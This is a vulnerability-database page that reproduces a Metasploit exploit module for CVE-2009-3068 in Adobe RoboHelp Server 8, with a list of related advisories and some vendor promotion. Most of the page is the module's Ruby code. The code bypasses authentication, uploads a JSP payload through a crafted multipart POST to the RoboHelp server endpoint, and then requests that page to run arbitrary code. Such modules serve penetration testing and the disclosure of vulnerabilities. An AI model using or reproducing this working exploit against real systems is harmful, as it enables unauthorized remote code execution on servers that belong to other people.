Lucene search
K

Adobe RoboHelp Server 8 - Arbitrary File Upload / Execution (Metasploit)

🗓️ 24 Nov 2010 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 47 Views

Adobe RoboHelp Server 8 - Authentication Bypass allows Arbitrary Code Executio

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2009-3068
3 Sep 200900:00
circl
Check Point Advisories
Adobe RoboHelp Server Arbitrary File Upload and Execute (CVE-2009-3068)
22 Mar 201000:00
checkpoint_advisories
CVE
CVE-2009-3068
4 Sep 200918:00
cve
Cvelist
CVE-2009-3068
4 Sep 200918:00
cvelist
d2
DSquare Exploit Pack: D2SEC_ROBOHELP
4 Sep 200918:30
d2
Dsquare
Adobe Robohelp Server 8 Upload
26 Jan 201200:00
dsquare
Metasploit
Adobe RoboHelp Server 8 Arbitrary File Upload and Execute
27 Sep 200918:38
metasploit
NVD
CVE-2009-3068
4 Sep 200918:30
nvd
OpenVAS
Adobe RoboHelp Server RCE Vulnerability (APSB09-14/APSA09-05)
10 Sep 200900:00
openvas
OpenVAS
Adobe RoboHelp Server Unspecified Vulnerability
10 Sep 200900:00
openvas
Rows per page
##
# $Id: adobe_robohelper_authbypass.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Adobe RoboHelp Server 8 Arbitrary File Upload and Execute',
			'Description'    => %q{
					This module exploits an authentication bypass vulnerability which
				allows remote attackers to upload and execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11127 $',
			'Platform'       => 'win',
			'Privileged'     => true,
			'References'     =>
				[
					[ 'CVE', '2009-3068' ],
					[ 'OSVDB', '57896'],
					[ 'URL', 'http://www.intevydis.com/blog/?p=69' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-066' ],
				],
			'Targets'        =>
				[
					[ 'Universal Windows Target',
						{
							'Arch'     => ARCH_JAVA,
							'Payload'  =>
								{
									'DisableNops' => true,
								},
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Sep 23 2009'
		))

		register_options( [ Opt::RPORT(8080) ], self.class )
	end

	def exploit

		page = Rex::Text.rand_text_alpha_upper(8) + ".jsp"
		uid  = rand(20).to_s

		file =  "-----------------------------#{uid}\r\n"
		file << "Content-Disposition: form-data; name=\"filename\"; filename=\"#{page}\"\r\n"
		file << "Content-Type: application/x-java-archive\r\n\r\n"
		file << payload.encoded
		file << "\r\n"

		print_status("Sending our POST request...")

		res = send_request_cgi(
			{
				'uri'		=> '/robohelp/server?PUBLISH=' + uid,
				'version'	=> '1.1',
				'method'	=> 'POST',
				'data'		=> file,
				'headers'	=>
					{
						'Content-Type'		=> 'multipart/form-data; boundary=---------------------------' + uid,
						'UID'			=> uid,
					}
			}, 5)

		if ( res and res.message =~ /OK/ )
			id = res['sessionid'].to_s.strip

			print_status("Got sessionid of '#{id}'. Sending our second request to '#{page}'...")
			data = send_request_raw({
					'uri'		=> '/robohelp/robo/reserved/web/' + id + '/' + page ,
					'method'	=> 'GET',
					'version'	=> '1.0',
			}, 5)

			handler
		else
			print_error("No SESSIONID acquired...")
			return
		end
	end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation